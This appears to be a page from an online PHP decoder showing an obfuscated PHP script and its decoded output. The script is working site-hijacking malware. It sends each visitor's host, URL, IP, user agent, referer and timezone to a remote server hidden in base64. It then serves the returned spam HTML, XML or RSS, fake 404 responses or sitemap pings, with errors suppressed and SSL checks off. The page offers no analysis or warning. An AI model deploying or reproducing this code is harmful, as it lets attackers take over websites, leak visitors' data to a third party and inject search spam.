Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto guIgn; Y3PK8: LspMe: goto JzwuD; TuI80: $yNPaO = iIAke($ZCk0J); goto yaKWr; F..

Decoded Output download

<?php 
 goto guIgn; Y3PK8: LspMe: goto JzwuD; TuI80: $yNPaO = iIAke($ZCk0J); goto yaKWr; Ffiat: header("Content-Type: text/html; charset=utf-8"); goto aP26n; lnV4p: if (!(substr(trim($v2Rnb[0]), -7) == "pingxml")) { goto YXSgd; } goto lwuu4; fkRzS: v2rJA: goto wjwJG; F6ys4: $uTnKb = "http://"; goto sZffr; As7o2: $PM3mU = base64_encode(@$_SERVER["HTTP_USER_AGENT"]); goto x20R1; XMpNA: $ZCk0J = "http://" . $fnmQE . "/index.php?domain=" . $fEqLv . "&uri=" . $lbeqh . "&lan=" . $gIZQX . "&agent=" . $PM3mU . "&zone=" . $i7SRp . "&ip=" . $DkP_9 . "&skey=" . $avhdm . "&referer=" . $FhMeR; goto TuI80; Mnj3k: $fnmQE = base64_decode($fnmQE); goto Ffiat; H9J6y: header("X-Robots-Tag: noindex"); goto DUoOD; MVrE8: ob_start(); goto VkzNb; uJKoz: exit; goto h0oT1; E1Pps: $avhdm = "5c0b5"; goto Mnj3k; h8stD: exit; goto UuG7h; h0oT1: zsTNF: goto WNRU2; N6JJ3: $uTnKb = "https://"; goto fkRzS; CXEaT: $lbeqh = base64_encode(@$_SERVER["REQUEST_URI"]); goto q2_Mu; GWAXd: echo substr(trim($v2Rnb[0]), 0, -7) . $v2Rnb[1]; goto uJKoz; wjwJG: $fEqLv = base64_encode($uTnKb . $Hhhk6); goto XMpNA; VkzNb: $gIZQX = base64_encode(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto CXEaT; WNRU2: if (!(substr(trim($v2Rnb[0]), -7) == "echorss")) { goto OWmNd; } goto iJ4aR; jih7u: bvuUf: goto lnV4p; povmE: z78gF: goto N6JJ3; KeqSH: header("Status: 404 Not Found"); goto R62mL; plflm: OWmNd: goto MWTRj; MWTRj: if (!(substr(trim($v2Rnb[0]), -7) == "echokkk")) { goto eVg_V; } goto H9J6y; aP26n: set_time_limit(0); goto VxOUL; x7nuc: $DkP_9 = base64_encode(@$_SERVER["REMOTE_ADDR"]); goto m1Hty; AvTpc: eVg_V: goto f06z6; B9NMb: if (!(substr(trim($v2Rnb[0]), -7) == "echoxml")) { goto zsTNF; } goto ce4KZ; zKlwn: function iiAke($he_WU) { goto bDQvg; hLz6X: curl_setopt($wtjAY, CURLOPT_SSL_VERIFYPEER, 0); goto DOhzy; hr1wg: if ($yNPaO) { goto LfSkI; } goto vY1WJ; szSG5: LfSkI: goto TqNyI; DOhzy: curl_setopt($wtjAY, CURLOPT_RETURNTRANSFER, 1); goto dxiJ2; GubWa: curl_setopt($wtjAY, CURLOPT_SSL_VERIFYHOST, 0); goto hLz6X; OO8Hf: curl_close($wtjAY); goto szSG5; TqNyI: return $yNPaO; goto X0K3Q; bDQvg: $yNPaO = @file_get_contents($he_WU); goto hr1wg; vY1WJ: $wtjAY = curl_init(); goto YkaZ0; dxiJ2: $yNPaO = curl_exec($wtjAY); goto OO8Hf; YkaZ0: curl_setopt($wtjAY, CURLOPT_URL, $he_WU); goto GubWa; X0K3Q: } goto pJ4Lf; f06z6: if (!(substr(trim($v2Rnb[0]), -7) == "echo404")) { goto bvuUf; } goto k5KAc; RrDJD: $v2Rnb = explode("[#*#*#]", $yNPaO); goto s1nN6; lwuu4: jtyQF($v2Rnb[1]); goto h8stD; JzwuD: function jTyqf($v7Mgf) { goto c_nVM; TL26W: foreach ($AfK0u as $y2Y34) { goto uxHaB; RlMJ5: vBskT: goto n6SlX; uxHaB: $eS9VS = IIAkE($y2Y34); goto TVEhQ; buLq3: echo $y2Y34 . "===>Sitemap: " . $C9i7n . "<br/>"; goto RlMJ5; TVEhQ: $C9i7n = strpos($eS9VS, "Sitemap Notification Received") !== false || strpos($eS9VS, "") !== false ? "OK " : "<font color=red>ERROR </font><div style="background:#f5f5f5;padding:11px; border:1px solid #ccc;">" . $eS9VS . "</div>"; goto buLq3; n6SlX: } goto ksmUM; c_nVM: $AfK0u = explode("|||", $v7Mgf); goto TL26W; ksmUM: ObUqf: goto KndRL; KndRL: } goto zKlwn; ZmHbD: IBbjG: goto B9NMb; VxOUL: error_reporting(0); goto SIfHW; iJ4aR: header("Content-type: text/xml"); goto r0J5w; N4OnG: exit; goto AvTpc; SIfHW: ob_clean(); goto RQ2Kt; x20R1: $FhMeR = base64_encode(@$_SERVER["HTTP_REFERER"]); goto x7nuc; guIgn: $fnmQE = "ZzEyNC5yYWhndHYudG9w"; goto E1Pps; TvTvz: if (eByFu()) { goto z78gF; } goto F6ys4; BCVvP: exit; goto ZmHbD; Teoe8: exit; goto plflm; ce4KZ: header("Content-type: text/xml"); goto GWAXd; s1nN6: if (!(substr(trim($v2Rnb[0]), -8) == "echohtml")) { goto IBbjG; } goto qsTZV; R62mL: exit; goto jih7u; qsTZV: echo substr(trim($v2Rnb[0]), 0, -8) . $v2Rnb[1]; goto BCVvP; sZffr: goto v2rJA; goto povmE; m1Hty: $i7SRp = base64_encode(date_default_timezone_get()); goto TvTvz; k5KAc: header("HTTP/1.1 404 Not Found"); goto KeqSH; q2_Mu: $Hhhk6 = @$_SERVER["HTTP_HOST"]; goto As7o2; UuG7h: YXSgd: goto Y3PK8; DUoOD: echo substr(trim($v2Rnb[0]), 0, -7) . $v2Rnb[1]; goto N4OnG; yaKWr: if (!strstr($yNPaO, "[#*#*#]")) { goto LspMe; } goto RrDJD; r0J5w: echo substr(trim($v2Rnb[0]), 0, -7) . $v2Rnb[1]; goto Teoe8; RQ2Kt: ob_end_clean(); goto MVrE8; pJ4Lf: function EBYFU() { goto oj_YW; FUUWg: if (!empty($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto xzGne; } goto mRP6G; bvzYB: di3KW: goto c5rCY; oMwl0: return true; goto dkSb6; wDjnA: goto c1LGh; goto poZl4; MStdS: goto c1LGh; goto Gn0dl; dkSb6: c1LGh: goto sscIa; QBxCf: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto dR3rv; } goto FUUWg; sscIa: return false; goto ndHb2; mRP6G: goto c1LGh; goto bvzYB; Gn0dl: xzGne: goto oMwl0; poZl4: dR3rv: goto lM6pK; oj_YW: if (!empty($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto di3KW; } goto QBxCf; c5rCY: return true; goto wDjnA; lM6pK: return true; goto MStdS; ndHb2: }?>

Did this file decode correctly?

Original Code

<?php
 goto guIgn; Y3PK8: LspMe: goto JzwuD; TuI80: $yNPaO = iIAke($ZCk0J); goto yaKWr; Ffiat: header("\103\x6f\156\x74\145\156\164\x2d\x54\171\x70\x65\72\x20\x74\x65\x78\164\57\x68\x74\x6d\154\73\x20\x63\x68\141\x72\x73\x65\x74\x3d\165\164\x66\x2d\70"); goto aP26n; lnV4p: if (!(substr(trim($v2Rnb[0]), -7) == "\x70\151\156\x67\170\x6d\x6c")) { goto YXSgd; } goto lwuu4; fkRzS: v2rJA: goto wjwJG; F6ys4: $uTnKb = "\150\x74\x74\x70\72\x2f\x2f"; goto sZffr; As7o2: $PM3mU = base64_encode(@$_SERVER["\x48\x54\x54\120\137\x55\123\x45\122\137\101\x47\x45\116\124"]); goto x20R1; XMpNA: $ZCk0J = "\x68\164\164\x70\x3a\x2f\57" . $fnmQE . "\x2f\151\156\x64\145\x78\x2e\x70\150\x70\77\144\157\155\x61\x69\156\75" . $fEqLv . "\x26\165\x72\x69\75" . $lbeqh . "\x26\x6c\141\156\x3d" . $gIZQX . "\46\x61\147\x65\156\164\75" . $PM3mU . "\46\x7a\157\x6e\145\75" . $i7SRp . "\x26\151\x70\x3d" . $DkP_9 . "\46\x73\153\145\171\75" . $avhdm . "\46\x72\x65\146\145\x72\145\x72\75" . $FhMeR; goto TuI80; Mnj3k: $fnmQE = base64_decode($fnmQE); goto Ffiat; H9J6y: header("\x58\55\122\x6f\142\x6f\x74\163\x2d\x54\141\x67\x3a\40\156\157\151\156\144\x65\x78"); goto DUoOD; MVrE8: ob_start(); goto VkzNb; uJKoz: exit; goto h0oT1; E1Pps: $avhdm = "5c0b5"; goto Mnj3k; h8stD: exit; goto UuG7h; h0oT1: zsTNF: goto WNRU2; N6JJ3: $uTnKb = "\x68\x74\164\x70\x73\x3a\57\57"; goto fkRzS; CXEaT: $lbeqh = base64_encode(@$_SERVER["\x52\x45\121\x55\105\x53\124\x5f\x55\122\x49"]); goto q2_Mu; GWAXd: echo substr(trim($v2Rnb[0]), 0, -7) . $v2Rnb[1]; goto uJKoz; wjwJG: $fEqLv = base64_encode($uTnKb . $Hhhk6); goto XMpNA; VkzNb: $gIZQX = base64_encode(@$_SERVER["\110\x54\124\x50\x5f\x41\x43\x43\x45\x50\x54\137\114\x41\116\x47\x55\x41\x47\x45"]); goto CXEaT; WNRU2: if (!(substr(trim($v2Rnb[0]), -7) == "\x65\x63\x68\157\x72\163\x73")) { goto OWmNd; } goto iJ4aR; jih7u: bvuUf: goto lnV4p; povmE: z78gF: goto N6JJ3; KeqSH: header("\123\164\x61\164\165\163\72\40\x34\x30\x34\x20\x4e\x6f\164\40\x46\x6f\165\x6e\x64"); goto R62mL; plflm: OWmNd: goto MWTRj; MWTRj: if (!(substr(trim($v2Rnb[0]), -7) == "\145\143\x68\157\153\153\153")) { goto eVg_V; } goto H9J6y; aP26n: set_time_limit(0); goto VxOUL; x7nuc: $DkP_9 = base64_encode(@$_SERVER["\x52\105\115\x4f\x54\x45\137\101\104\x44\122"]); goto m1Hty; AvTpc: eVg_V: goto f06z6; B9NMb: if (!(substr(trim($v2Rnb[0]), -7) == "\145\143\x68\157\170\155\154")) { goto zsTNF; } goto ce4KZ; zKlwn: function iiAke($he_WU) { goto bDQvg; hLz6X: curl_setopt($wtjAY, CURLOPT_SSL_VERIFYPEER, 0); goto DOhzy; hr1wg: if ($yNPaO) { goto LfSkI; } goto vY1WJ; szSG5: LfSkI: goto TqNyI; DOhzy: curl_setopt($wtjAY, CURLOPT_RETURNTRANSFER, 1); goto dxiJ2; GubWa: curl_setopt($wtjAY, CURLOPT_SSL_VERIFYHOST, 0); goto hLz6X; OO8Hf: curl_close($wtjAY); goto szSG5; TqNyI: return $yNPaO; goto X0K3Q; bDQvg: $yNPaO = @file_get_contents($he_WU); goto hr1wg; vY1WJ: $wtjAY = curl_init(); goto YkaZ0; dxiJ2: $yNPaO = curl_exec($wtjAY); goto OO8Hf; YkaZ0: curl_setopt($wtjAY, CURLOPT_URL, $he_WU); goto GubWa; X0K3Q: } goto pJ4Lf; f06z6: if (!(substr(trim($v2Rnb[0]), -7) == "\x65\143\x68\157\x34\60\64")) { goto bvuUf; } goto k5KAc; RrDJD: $v2Rnb = explode("\133\43\x2a\x23\x2a\x23\135", $yNPaO); goto s1nN6; lwuu4: jtyQF($v2Rnb[1]); goto h8stD; JzwuD: function jTyqf($v7Mgf) { goto c_nVM; TL26W: foreach ($AfK0u as $y2Y34) { goto uxHaB; RlMJ5: vBskT: goto n6SlX; uxHaB: $eS9VS = IIAkE($y2Y34); goto TVEhQ; buLq3: echo $y2Y34 . "\x3d\x3d\75\76\x53\x69\x74\145\155\x61\x70\72\40" . $C9i7n . "\74\x62\x72\x2f\x3e"; goto RlMJ5; TVEhQ: $C9i7n = strpos($eS9VS, "\x53\x69\x74\x65\x6d\x61\160\40\x4e\x6f\164\151\x66\x69\x63\x61\x74\x69\157\x6e\40\122\x65\x63\x65\x69\166\x65\x64") !== false || strpos($eS9VS, "\xe9\200\x81\344\xbf\241\xe3\x81\x95\xe3\x82\214\xe3\201\x9f\xe3\202\xb5\343\202\244\xe3\203\210\343\203\x9e\xe3\203\x83\343\203\x97\343\202\222\xe5\217\227\344\277\241\343\x81\x97\xe3\x81\xbe\343\201\227\343\201\x9f") !== false ? "\117\x4b\40\346\x88\x90\345\212\237" : "\x3c\x66\157\x6e\x74\40\143\157\x6c\157\162\75\162\x65\144\76\x45\x52\122\x4f\x52\x20\345\207\272\xe9\224\x99\xe4\xba\206\74\x2f\x66\157\156\164\76\x3c\144\151\166\40\163\164\x79\154\x65\x3d\42\142\x61\x63\x6b\147\x72\157\165\156\144\x3a\43\146\x35\x66\x35\146\65\73\160\141\x64\144\x69\x6e\147\72\61\x31\x70\170\73\x20\x62\157\162\144\145\162\x3a\x31\160\170\40\163\157\x6c\151\x64\x20\x23\143\x63\x63\x3b\42\76" . $eS9VS . "\74\x2f\x64\x69\x76\76"; goto buLq3; n6SlX: } goto ksmUM; c_nVM: $AfK0u = explode("\x7c\x7c\174", $v7Mgf); goto TL26W; ksmUM: ObUqf: goto KndRL; KndRL: } goto zKlwn; ZmHbD: IBbjG: goto B9NMb; VxOUL: error_reporting(0); goto SIfHW; iJ4aR: header("\103\157\156\x74\145\x6e\x74\55\164\171\160\145\72\40\164\x65\x78\x74\x2f\170\x6d\154"); goto r0J5w; N4OnG: exit; goto AvTpc; SIfHW: ob_clean(); goto RQ2Kt; x20R1: $FhMeR = base64_encode(@$_SERVER["\110\x54\x54\x50\x5f\122\x45\106\105\x52\105\122"]); goto x7nuc; guIgn: $fnmQE = "\x5a\x7a\x45\x79\x4e\x43\x35\x79\x59\x57\x68\x6e\x64\x48\x59\x75\x64\x47\x39\x77"; goto E1Pps; TvTvz: if (eByFu()) { goto z78gF; } goto F6ys4; BCVvP: exit; goto ZmHbD; Teoe8: exit; goto plflm; ce4KZ: header("\103\x6f\x6e\164\145\156\x74\x2d\164\171\160\x65\72\40\164\145\x78\x74\x2f\170\155\154"); goto GWAXd; s1nN6: if (!(substr(trim($v2Rnb[0]), -8) == "\145\143\150\x6f\150\164\155\x6c")) { goto IBbjG; } goto qsTZV; R62mL: exit; goto jih7u; qsTZV: echo substr(trim($v2Rnb[0]), 0, -8) . $v2Rnb[1]; goto BCVvP; sZffr: goto v2rJA; goto povmE; m1Hty: $i7SRp = base64_encode(date_default_timezone_get()); goto TvTvz; k5KAc: header("\110\x54\124\120\57\x31\56\x31\x20\64\60\x34\40\116\157\x74\x20\x46\157\x75\156\x64"); goto KeqSH; q2_Mu: $Hhhk6 = @$_SERVER["\x48\124\x54\120\137\x48\117\123\x54"]; goto As7o2; UuG7h: YXSgd: goto Y3PK8; DUoOD: echo substr(trim($v2Rnb[0]), 0, -7) . $v2Rnb[1]; goto N4OnG; yaKWr: if (!strstr($yNPaO, "\133\x23\x2a\43\x2a\43\x5d")) { goto LspMe; } goto RrDJD; r0J5w: echo substr(trim($v2Rnb[0]), 0, -7) . $v2Rnb[1]; goto Teoe8; RQ2Kt: ob_end_clean(); goto MVrE8; pJ4Lf: function EBYFU() { goto oj_YW; FUUWg: if (!empty($_SERVER["\x48\x54\x54\120\137\106\122\117\x4e\x54\x5f\x45\116\104\137\110\124\x54\x50\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\137\106\x52\117\x4e\x54\137\x45\x4e\104\x5f\x48\124\x54\120\x53"]) !== "\157\x66\146") { goto xzGne; } goto mRP6G; bvzYB: di3KW: goto c5rCY; oMwl0: return true; goto dkSb6; wDjnA: goto c1LGh; goto poZl4; MStdS: goto c1LGh; goto Gn0dl; dkSb6: c1LGh: goto sscIa; QBxCf: if (isset($_SERVER["\x48\124\124\120\x5f\130\137\106\x4f\122\x57\101\122\x44\105\104\x5f\120\x52\x4f\x54\x4f"]) && $_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\x46\117\x52\127\x41\x52\x44\x45\x44\x5f\x50\122\x4f\124\x4f"] === "\x68\164\164\160\x73") { goto dR3rv; } goto FUUWg; sscIa: return false; goto ndHb2; mRP6G: goto c1LGh; goto bvzYB; Gn0dl: xzGne: goto oMwl0; poZl4: dR3rv: goto lM6pK; oj_YW: if (!empty($_SERVER["\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\146\x66") { goto di3KW; } goto QBxCf; c5rCY: return true; goto wDjnA; lM6pK: return true; goto MStdS; ndHb2: }?>

Function Calls

None

Variables

None

Stats

MD5 cf22330a375b8c67734ed812ac0f437e
Eval Count 0
Decode Time 72 ms